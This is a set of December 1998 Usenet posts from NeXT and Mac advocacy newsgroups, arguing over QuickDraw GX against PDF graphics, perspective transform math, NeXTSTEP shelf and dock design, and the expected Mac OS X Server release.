EVERY DTP/WP/drawing app able to create QT vectors directly?
>
>And you *wonder* why GX doesn't get more adoption from developers?
>
And you *wonder* why I no longer take most of you guys seriously? You are
so hell-bent on proving me "wrong" that you bend over backwards with these
stupid nit-picking word-games, and exhibit marvelously poor reading
comprehension, to boot.
>>It is *insane* not to provide backwards compatible support for GX in
>>the eQD/YB graphics system because at this point, EVERY Macintosh can
>>use GX, and NONE can use eQD and YB. 5 years from now, there will
>>STILL be Quadras sitting in some school that can use GX
>
>And five years from now there will probably STILL not be any big
>selling applications that use GX. I think you seem to think that
>every single Macintosh system in use these days is using GX on a
>regular basis. I suspect that this is not the case. In fact, I'd be
>willing to bet that it's not even *CLOSE* to being the case.
>
Well, duh, if Apple continues with its "GX is no longer supported after
8.5" policy, than obviously no major company will support it. *I* even
agree that it is no longer suitable for "cutting edge" graphics, if the
rumors of a 4x? matrix in some next-gen graphics engine are true (but what
about the transfer-mode support, Mike? -it seems rather disingenous to
misinterpret my complaints about eQD's announced limitations in color
support as referring to some ColorSynch issue rather than the transfer mode
issue -was this really a misinterpretation on your part, or were you jist
havin' sum fun?).
>>, but they won't be able to talk to MacOS xx systems, graphics-wise,
>>except via the primitive PICT format or the non-native EPS/PS format.
>
>Or perhaps PDF, which would probably be considerably easier to deal
>with since you wouldn't need a full blown PostScript interpreter.
>
For which 68K systems will Apple provide a full-blown PDF graphics system?
And will said graphics system include support for GX's 3x3 perspective
transform or the rumored 4x? of MacOS XX? And what about them nifty
transfer modes of GX and QT? Will this PDF system for 68K systems (the
topic that you are replying to) support GX-level transfer modes? Will ANY
DTP-oriented graphics engine from Apple support the GX transfer modes after
8.6?
>>I can't imagine that I am the only one who sees this as useful, and in
>>fact, every DTP person who has ever used HyperCard or examined the
>>color capabiltiies of GX, WILL see it as useful, because by
>>definition, such people CAN use GXFCN (a HyperTalk scripting external
>>of GX's API that will run on nearly all color Macintoshes with enough
>>RAM and a copy of HyperCard).
>
>.....due out any *year* now.
>
Yep.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
References: <36623228.DE3E6D7E@Sun.COM> <19981130122459.26905.00000111@ng53.aol.com> <F3A463.MAv@AWT.NL>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3664d39f.0@nnrp1.news.uk.psi.net>
Date: 2 Dec 98 05:43:59 GMT
G.C.Th.Wierda@AWT.nl (Gerben Wierda) wrote:
>willadams@aol.com (WillAdams) wrote:
>>For those who aren't familiar with GNUstep, it's coming up on half-way done for
>>the libfoundation (I think I got that right), with other things progressing
>>very well:
>>www.gnustep.org
>
>So why are the latest releases from March 1998?
Because development is too rapid for the work of creating a stable release to be
trivial and people are mostly expected to use anonymous CVS nowadays.
>http://www.gnustep.org/AboutGNUstep/ProgressOverview.html
>
>DGS (key system) latest release early July.
DGS is doing really badly - but the xraw backend is progressing nicely - you only need
the xdps backend (and dgs) when you want apps that use postscript directly.
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: ColorSync -- Imatec Patent Suit Against Apple
Message-ID: <8q992.15581$q15.388796@news.san.rr.com>
Date: Wed, 2 Dec 1998 03:19:49 -0800
NNTP-Posting-Date: Wed, 02 Dec 1998 03:22:44 PDT
Organization: TWC Road Runner, San Diego, CA
http://www.32bitsonline.com/news.php3?news=news/199812/nb19981216&page=1
Imatec Says Proof Already On The Table In Apple Suit
01 Dec 1998, 2:09 PM CST
By Matt Hines, Newsbytes.
NEW YORK CITY, NEW YORK, U.S.A.,
Imatec Ltd. [OTC:IMEC] said evidence proving its
claim that Apple Computer Inc. [NASDAQ:AAPL] is
infringing on several patents held by Imatec's chief
executive is made clear in pre-trial documents. The
firm contends Apple may have to pay it as much as
three times $1.1 billion settlement it is seeking in a
suit filed in the US District Court of New York.
(rest available at above URL)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Services/NeXTUI (was Re: Switch nextstep -> linux ?)
Date: 2 Dec 1998 13:00:58 GMT
Organization: AOL http://www.aol.com
References: <742b26$aoj$5@blue.hex.net>
Message-ID: <19981202080058.11189.00000685@ng60.aol.com>
I'd like to simply chime in here as a person in the exact opposite position of
John's.
I use OPENstep 4.2, Windows 95 and MacOS 8.1, all with a similar suite of
programs, with the main program being essentially identical on all platforms,
respectively, Virtuoso 2.0, FreeHand 5.0 and FreeHand 8.01.
Virtuoso on the NeXT is far nicer than either of the alternatives, I'm far more
productive with it, and this aside from the architectural superiority of Unix
which precludes the oddities of behaviour which are the inevitable result of
the unplanned interaction of the underlying OS (such as it is) and applications
and utilities under Win95 and MacOS.
Pervasive drag and drop which "just works" regardless of the company which
wrote the application helps a great deal in this, as does the convenience of
services, and a global (OS/wide) spell checker. Display PostScript makes for a
much better sense of what will print, as does the essentially free (in terms of
programmer effort) print preview afforded by Preview.app.
I feel crippled whenever I use Windows or the MacOS because I can't drag and
drop as I expect, accessing utilities is awkward and I'm never certain of how
my document is going to interact (in terms of placement/layout) with a placed
.eps.
I guess this all underscores and restates John's observation that Services are
nice and not absolutely essential (I do manage to get work done under Windows
and the MacOS) but it goes much faster, efficiently and much, much more
elegantly under NeXT/OPENstep.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 2 Dec 1998 13:59:37 GMT
Organization: NEXTTOYOU
Message-ID: <743h49$20k$1@tallowcross.uni-frankfurt.de>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <73v71f$1k8$2@tallowcross.uni-frankfurt.de> <F3AnIv.41y@T-FCN.Net>
NNTP-Posting-Date: 2 Dec 1998 13:59:37 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <73v71f$1k8$2@tallowcross.uni-frankfurt.de> Uli Zappe wrote:
> > No. You *can* drop something lying on the shelf, but then it's deleted
> > just like everything else - very consistent.
>
> Dragging a tile to the trash does nothing, it will not accept the drag.
> I do not know what you are talking about here.
Maury,
I don't know whose fault it is, but obviously things get confused here: the
shelf, the dock, and tiles, which are all quite different, of course.
I suppose if "unconfused" ;-) , things would look better for your needs, too.
In the above quote I was talking about icons sitting on the *shelf*, which
are apparently something different than tiles (in the dock or not). Dragging
a *tile* to the trash does indeed nothing; dragging a shelf icon to the
recycler deletes the doc/app, as it should.
These icons on the shelf behave exactly the way I think icons on any
"desktop" should behave; and probably at least a bit like you'd like desktop
icons to behave: you can put any kind of icon there (app, document,...), you
can start/open the app/doc from there, and they are just representations
(though no aliases in a strict sense, but it's the same basic logic). This is
why I say the *shelf* is actually NEXTSTEP's desktop; the only difference is
that it's inside a window which IMHO is a *huge* advantage. FWIW, the shelf
area in my browser window is *larger* than the browser area, and I have up to
40 icons lying there for fast access. Just like a desktop, but better,
because it can be above all other windows.
Now, since an icon on the shelf is supposed to behave like an exact duplicate
of the original file, it should also do so regarding deleting; and this means
if you draw it to the recycler, it (=the file, *not* only the alias) should
be deleted. And deleting means, the *content* of a doc ist removed, not just
its representation!
If you argue as you do, i.e. only the *alias* should be deleted, then you
break the representation paradigm, and introduce knowledge about the
*technical realisation* of the GUI paradigm, namely, the alias. But a user
shouldn't need to bother with these details, for her/him it should just be
another representation of the file, deletable in the same way. That it feels
natural to you, is, I guess, because you *do* know about the technical
realisation, and of course, are used to it.
But if dragging a doc/app icon to the recycler deletes the doc/the app, you
need another action for just removing the representation from the shelf.
Since the background in NEXTSTEP is *not* the "desktop" (the *shelf* is), it
is a neutral area you can use for that.
> No, I looked at it the right way, it didn't do what I wanted it to do. I
> use specific documents more than I use specific applications, true for most
> people, and thus any "quick access" gizmo should support documents. The
> desktop does, the dock didn't.
But the *shelf* does. The dock is *no* desktop replacement, it's an
application menu replacement!
> > NEXTSTEP's desktop is the *shelf*, not the dock. The shelf is really
> It will also not accept drags. Unless it did prior to 4.2.
??? Of course it does, no matter which version. Or do you mean by "drags"
to drag docs on (not already running) apps? That's a very NEXTSTEP-unlike way
of starting apps or open docs which I confess to never use, and if at all,
then with already running apps, where you can do it with the app's tile.
But I don't think there'd be any problem to implement this feature for shelf
icons if it's useful for some people.
> > Why would you oppose a "desktop in a window"?
> I don't. Why would you think I do?
Because that's exactly what the shelf is, and it doesn't seem sufficient to
you so you still want a "desktop" in the sense of an unflexible (since fixed
in the background), fixed screen-size "window".
> > The dock is the "menu of running apps"
> The apps in the doc do not have to be running.
> In fact, apps in the dock
> and those not in the dock use different systems for indicating they are
> running, another inconsistency.
You have a point here; actually the dock is a (IMHO very elegant) combination
of an app menu and a quick starter for the most important apps. I happily
deal with this inconsistency as a tradeoff, but YMMV.
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
_____________________________________________________________________
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 2 Dec 1998 14:07:41 GMT
Organization: NEXTTOYOU
Message-ID: <743hjd$20k$2@tallowcross.uni-frankfurt.de>
References: <73v71f$1k8$2@tallowcross.uni-frankfurt.de> <19981130203807.00836.00000579@ng-cg1.aol.com> <F3Ao2J.4Cp@T-FCN.Net>
NNTP-Posting-Date: 2 Dec 1998 14:07:41 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Under OpenStep the dock accepted only certain types of items, and
> removing them used a wholely unexpected mechanism. Can you delete text
> under OS by dragging it to the desktop?
There is no "desktop" in OS. it's just an empty background. What you call
"desktop" in OS resides in a window and is called "shelf".
> No. can you drag items in
> Workspace windows to the desktop to remove them? No. So why should this
> work in the dock?
Because the dock is only a representation. *All* representations (in the dock
or on the shelf) are consistently removed this way.
> > Screens are getting bigger, NeXTstep takes advantage of this, the Mac OS
> This statement is identical to saying that NT takes "advantage" of bigger
> drives because it wastes so much space.
> Not everyone has a large monitor. Most never will.
I think you're very wrong here. 1280 x 1024 will be standard resolution in 3
years; I don't think you'll be able to buy something smaller.
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
_____________________________________________________________________
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody release??
Date: Wed, 02 Dec 1998 14:45:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <743jpf$mh0$1@nnrp1.dejanews.com>
References: <741ges$vhl$1@coranto.ucs.mun.ca> <741tva$atr$1@nnrp1.dejanews.com> <7425i1$hc1$1@nnrp1.dejanews.com>
malcolm@plsys.co.uk wrote:
> spagiola@my-dejanews.com wrote:
> > Apple has said absolutely nothing, except that when a "MacOS X Server
> > is cancelled" rumor came up about a month ago, they eventually said
> > that no, it wasn't cancelled and was expected to ship this year
>
> Hmm, would you mind if were really picky and took issue with "eventually". I
> presume you're referring to Don Crabb's article? If so, he was told in no
> uncertain terms that his article was in error within a very short space of
> time. I contacted folks in Apple about it at the time, and within a few
> hours had a copy of a message which had been sent to Don which repudiated his
> article clearly. Why it took a further three days for Don to finally admit
> that he was in error is something of a mystery.
OK, I'll retract the "eventually". Though from the perspective of people
watching, it did take several days before anything *appeared* to come out of
Apple.
> > Current conventional wisdom is that it probably will be
> > released at Macworld SF in early January, but that doesn't seem to be
> > based on any solid information.
>
> The WebObjects 4 announcement put the release date in 1999; MWSF would seem
> like the most sensible date early in the year.
The denial that OSX Server was cancelled said it would ship this year. Since
it hasn't shipped yet, it seems natural to expect that it will ship at the
next "obvious" time to make an announcement, ie MWSF. Add to that various
oblique statements made in the context of WO, and once again, expecting OSX
Server at MWSF seems "sensible." But it all remains conjecture.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Karsten D. Wolf" <karsten.d.wolf@erziehung.uni-giessen.de>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WO4 Announcement: Answer to Mac OS X Server timing
Date: Wed, 02 Dec 1998 15:00:57 +0100
Organization: =?iso-8859-1?Q?Justus=2DLiebig=2DUniversit=E4t=20Gie=DFen?=
Message-ID: <3665477A.D0C4C603@erziehung.uni-giessen.de>
References: <73ukit$ops@crab.afs.com> <3663A3E7.1BC5@earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
>
> Greg, also notice that it says "Power PC G3 systems" , not just Power
> PC's. Ugh!! Will we ever see OS X Server, and will it run on my
> 9500??? C'mon Apple!
>
> Steve
The 2 dev releases of Rhapsody were running on 8500/8600/9500/9600 as
You can see on the Apple developer site, so hope is that MOXS will run
on these "vintage" machines as well. MOX _may_ still run on them,
although they probably won't be officially supported.
-karsten
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: seanl@cs.umd.edu
Organization: needs one
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
<F3Ao9L.4JE@T-FCN.Net> <7424rd$g1k$1@cronkite.cs.umd.edu>
Mime-Version: 1.0
Date: Wed, 2 Dec 1998 16:32:42 GMT
In <7424rd$g1k$1@cronkite.cs.umd.edu> Sean Luke wrote:
> > > You always seem to put down all the things that were great about
NeXT.
> > Facinating. Can you name five examples?
> Sure, I can name a baker's dozen.
You post goes onto describe a number of things I've never written on. I
can only conclude that you're either using this as a general soapbox, or
you're replying to the wrong person.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: needs one
References: <3664c899$0$225@nntp1.ba.best.com> <B28A3E25-CE356@206.165.43.154>
Mime-Version: 1.0
Date: Wed, 2 Dec 1998 17:56:38 GMT
In <B28A3E25-CE356@206.165.43.154> "Lawson English" wrote:
> Er, any time you apply 3D operations to ANY graphic, all you are getting
> out is 2D data
Hoooooo boy. This one isn't even worth commenting on.
> graphics system. All I ever claimed is that GX has a 3x3 perspective
That's not all you've ever claimed, you've claimed wave after wave of
arguments that have uniformily turned out to be wrong. illustrating only
that you didn't know anything about the topic. Unified Hangul anyone?
> The simple fact is that I never said that GX was suitable for "serious 3D
> work," but only useful for applying a 3D perspective to editable text and
> graphics.
And I can see the stampede to get that! Hoo boy, no graphics system
without this could possibly succeed.
Of course in the real world the only example anyone's brought up that
includes it was a massive failure, and all the ones that didn't have been
wildly successful.
> Yeah, so? It appears exactly the same to the end-user
As Mike so clearly pointed out, wrong.
> This is typical of many people who enjoy attacking me for no good reason.
NO GOOD REASON?!??
> GX can apply a 3D perspective to standard text and then allow someone to
> edit it, WHILE they are viewing the perspectiv-ized text.
Which other libs can do too.
> PDF/eQD/YB graphics don't allow this, last I heard.
No, it doesn't have it built in. This is a huge difference.
> hints at, and there will be no way of transfering graphics data between
> older Macs and the latest, save via the PICT format, which is hardly as
> capable as the GX format.
Sure, but seeing as no one uses GX, this is not an issue.
> And unless Apple provides the GX transfer modes within the native graphics
> system of MacOS X, there will be no direct sharing of QT vectors either.
As the WebPainter author pointed out, this isn't an issue either.
> What is wrong with you people
Ahhh, it's OUR problem.
This reminds me of a song. "Why does everyone keep saying I'm crazy?
I'm not crazy, YOU'RE crazy. After I went to YOUR churches. After I went
to YOUR schools. After I went to YOUR institutional reform schools. So
how can you say I'm crazy? INSTITUTIONALIZED! nah nah nah nah,
INSTITUTIONALIZED, nah nah nah nah.".
Hey, all I wanted was a Pepsi.
> taht you can't see the potential of having
> EVERY DTP/WP/drawing app able to create QT vectors directly?
Because no one wants it, not even the WebPainter folks. Do you actually
talk to the people you claim to quote? Or do you just make things up for
them to say and assume their responses. I notice you have no problem
posting their private e-mails on the usenet, and re-posting our comments to
them - both without permission in some cases. However when I talk to these
very same people, they never seem to support your viewpoint.
> And you *wonder* why I no longer take most of you guys seriously?
Ohhh, that's funny.
>You are
> so hell-bent on proving me "wrong" that you bend over backwards with these
> stupid nit-picking word-games, and exhibit marvelously poor reading
> comprehension, to boot.
What, no insults about our spelling?
> For which 68K systems will Apple provide a full-blown PDF graphics system?
For which 68k systems will Apple produce any new system software?
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 2 Dec 98 13:24:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28AF039-80CF1@206.165.43.204>
References: <F3Cn6F.BEu@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>> GX can apply a 3D perspective to standard text and then allow someone to
>> edit it, WHILE they are viewing the perspectiv-ized text.
>
> Which other libs can do too.
>
Which shipping libraries that are available for free on every color Mac
shipped in the last 4 years (or have been upgraded to System 7.1 or later)
can do this? Can I use them in an OSAX or X-thang without licensing fees?
Can a TrueBasic/FutureBasic programmer use them without licensing fee? What
is the licensing fee for them?
>> PDF/eQD/YB graphics don't allow this, last I heard.
>
> No, it doesn't have it built in. This is a huge difference.
>
Nor does the current spec for the file format retain the ability to edit
any such text/graphics after it has had the perspective or non-opaque
color/transfer-mode applied. Nor do the text-handling routines support this
out-of-the-box, last I heard. For a 3rd-party to add it in won't be easy,
and yet, this is the wave of the future, if the K2 project is to become the
new standard.
>> hints at, and there will be no way of transfering graphics data between
>> older Macs and the latest, save via the PICT format, which is hardly as
>> capable as the GX format.
>
> Sure, but seeing as no one uses GX, this is not an issue.
>
Sure it's an issue. It means that 68K owners AND PPC owners are being
screwed over. The fact that they aren't aware of it doesn't change things.
>> And unless Apple provides the GX transfer modes within the native
>graphics
>> system of MacOS X, there will be no direct sharing of QT vectors either.
>
> As the WebPainter author pointed out, this isn't an issue either.
>
Did he? What did he say about sharing of QT vectors with other apps? About
text-editors and other mainstream DTP apps being able to do this? Fact is,
the GX transfer modes are lightyears beyond anything that PDF supports and
they work with vectors, text and bitmaps, which means that an end-user can
confidently apply the same color/transfer-modes to a grouped image without
worry about trivial exceptions like not being able to apply the same
manipulations/filters to text as they can to graphics.
>> What is wrong with you people
>
> Ahhh, it's OUR problem.
>
So it would seem...
> This reminds me of a song. "Why does everyone keep saying I'm crazy?
>I'm not crazy, YOU'RE crazy. After I went to YOUR churches. After I went
>to YOUR schools. After I went to YOUR institutional reform schools. So
>how can you say I'm crazy? INSTITUTIONALIZED! nah nah nah nah,
>INSTITUTIONALIZED, nah nah nah nah.".
>
> Hey, all I wanted was a Pepsi.
>
>> taht you can't see the potential of having
>> EVERY DTP/WP/drawing app able to create QT vectors directly?
>
> Because no one wants it, not even the WebPainter folks. Do you actually
>talk to the people you claim to quote? Or do you just make things up for
>them to say and assume their responses. I notice you have no problem
>posting their private e-mails on the usenet, and re-posting our comments
>to
>them - both without permission in some cases. However when I talk to
>these
>very same people, they never seem to support your viewpoint.
>
Whose private e-mail have I posted on the internet without permission? I've
done that once or twice and apologized when I realized what I had done.
I've also posted a heavily-edited line that you can't determine the source
of. And just who have you contacted who doesn't share my viewpoint whom I
have asserted does support my view?
>> And you *wonder* why I no longer take most of you guys seriously?
>
> Ohhh, that's funny.
>
>>You are
>> so hell-bent on proving me "wrong" that you bend over backwards with
>these
>> stupid nit-picking word-games, and exhibit marvelously poor reading
>> comprehension, to boot.
>
> What, no insults about our spelling?
>
>> For which 68K systems will Apple provide a full-blown PDF graphics
>system?
>
> For which 68k systems will Apple produce any new system software?
That is my point. Apple has decreed that the only vector-graphics DTP
system for 68K machines is going bye-bye and has provided no API-compatible
or even feature-compatible replacement. That means that 68K owners are now
the Apple II owners of the 90's.
It don't have to be that way.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 2 Dec 98 13:11:42 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28AED12-74F4A@206.165.43.204>
References: <F3Cn6F.BEu@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
>> The simple fact is that I never said that GX was suitable for "serious
3D
>> work," but only useful for applying a 3D perspective to editable text
and
>> graphics.
>
> And I can see the stampede to get that! Hoo boy, no graphics system
>without this could possibly succeed.
>
> Of course in the real world the only example anyone's brought up that
>includes it was a massive failure, and all the ones that didn't have been
>wildly successful.
Which "real-world" example? Creator2? LightningDrawGX? ReadySetGo!?
Or are you talking about the ability to apply a 3D perspective to a bit of
text and/or graphic and still edit it, which was, according to some
accounts online, the feature that had the audience cheering at Seybold
during Adobe's demo of their "Quark-killer" "K2 project" capabilities?
Every DTP person that *I* know likes the idea of being able to apply
perspective and still edit the text/graphic in-place. The Star Wars
Intro-style of text is very popular with people, both professionals and
home-users.
Have you actually *asked* anyone if they would like this feature? Adobe
apparently did because it will be in their next-gen page layout app.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 02 Dec 1998 15:46:00 -0500
Organization: Styx DTP
Sender: monner@dial02p11.ottawa.storm.ca
Message-ID: <3665A704.5A26FEBA@tone.ca>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <742dlu$r5f@news1.panix.com>
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NNTP-Posting-Date: 2 Dec 1998 20:46:39 GMT
Sal Denaro wrote:
>
> Well, I'll be at the WO4 Demo on the 17th in NYC. If it looks well enough,
> I just might sign up for WO classes and start fishing for contract work.
I just got back from the WO4 demo in Montreal. I think you will be pleased.
The Apple people claimed not to know when MOSXS would be released, but pretty
much assumed it would be at MacWorld.
Michael Monner
From: Michael.Peck@ericsson.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Wed, 02 Dec 1998 20:46:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7448vo$aau$1@nnrp1.dejanews.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F3Ao9L.4JE@T-FCN.Net> <7424rd$g1k$1@cronkite.cs.umd.edu> <F3CJAJ.98F@T-FCN.Net>
In article <F3CJAJ.98F@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> You post goes onto describe a number of things I've never written on. I
> can only conclude that you're either using this as a general soapbox, or
> you're replying to the wrong person.
Relax, Maury, there's no need to clear yourself of S. Kellener's charges. Sean
Luke was just taking the opportunity to poke some fun at NeXT.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 02 Dec 1998 13:02:57 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us53e6ytoa6.fsf@kit.ai.mit.edu>
References: <3664293D.3D8A7E56@trilithon.com> <B289F4B4-5217@206.165.43.182>
"Lawson English" <english@primenet.com> writes:
> [added csmp.misc back in]
>
> When one talks about a perspective projection onto a viewing plane, this is
> a 3D operation, by definition.
I agree, if we're actually talking about perspective projections,
which are projections of 3D data onto a 2D surface. You, however, are
talking about non-affine transformations of 2D data, which is a
different beast. Even the quote you gave from Digital Image Warping
is careful to call this a transformation, not a projection.
> Perspective is NOT a 2D graphics operation, but a 3D one, even if it
> is only operating on a 2D object.
I disagree, but I'll go into it in more detail in a little while.
> You are so hung up on my "true 3D" assertion that you are missing the very
> important point that mathematically, there is no difference between the 3x3
> perspective transform and the higher-order matrix transforms WHERE THEIR
> INITIAL CONDITIONS AND CONSTRAINTS OVERLAP.
Isn't that a little bit like saying that the 3x3 transform is
equivalent to affine transformations, as long as three of the matrix
elements are fixed? The fact is simply that a true 3D transform gives
you so much more capability that it makes as much sense to call the
DPS transformations "full 3x3" as it does to call perspective
transforms "true 3D".
> If you need to again increment the slope of the 2D object away from
> the camera after applying the 3x3 perspective transform, you must
> refer back to the original orientation of the object and work from
> there, rather than from the resultant orientation,
This, by the way, is exactly why the 3x3 transform is not
mathematically equivalent to the higher-order matrix transformation.
Don't confuse the weighting parameter that you'd get from the straight
matrix multiplication with a distance; it's not the same thing, and
that's probably one of the reasons that GX is discarding it in the
first place.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: Joe Rice <jlrice@columbus.crosswinds.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Wed, 02 Dec 1998 15:43:45 -0500
Content-Transfer-Encoding: 7bit
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de>
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Dell will preinstall linux for a price.
PILCH Hartmut wrote:
>
> Toon Moene <toon@moene.indiv.nluug.nl> writes:
>
> >Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
> >thing left is buying a modem card and a printer - must be possible in the
> >remaining 13 months ...
>
> I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
> since I don't want to risk spending weeks on studying PCMCIA drivers.
> I heard that Compaq laptops are all "Linux compatible". Is that true?
> Do they also offer preinstallation?
>
> In Munich, CompuPlus (www.compuplus.de) does offer that, but I don't know
> for sure about anyone else.
>
> --
> Hartmut Pilch
> http://www.a2e.de/phm/
From: fake@forgitaboutit.com (David H. McCoy)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Wed, 2 Dec 1998 18:50:00 -0500
Organization: OminorTech
Message-ID: <MPG.10cf9c311b60642d9896db@news1.mnsinc.com>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server> <slrn7686ls.9s3.possum@ss5.fred.net> <742b2i$aoj$6@blue.hex.net>
In article <742b2i$aoj$6@blue.hex.net>, cbbrowne@news.hex.net says...
>On Tue, 01 Dec 1998 16:35:09 GMT, Mike Trettel <possum@tree.branch> wrote:
>>On Tue, 01 Dec 1998 05:35:58 -0800, Steven C. Den Beste
><sdenbes1@san.rr.com>
>>wrote:
>>>There's also this: What incentive does IBM have for doing this? Every time
>>>this comes up people come up with all sorts of reasons why *they* wish IBM
>>>would do it, but no-one can come up with a plausible motive for *IBM* to do
>>>this.
>>>
>>>How would releasing the WPS source benefit IBM? How would it increase their
>>>profit? Since your hope is to port it to Linux, all that does is increase
>>>the competitive pressure on OS/2 and cause profits to decline. How is that a
>>>good thing for IBM?
>>>
>>Good questions. A couple of reasons why IBM might do so are:
>>
>>A) Provide an upgrade/escape path for longtime OS/2 users. This plausibly
>>helps IBM by getting the SOHO users off IBM's back.
>
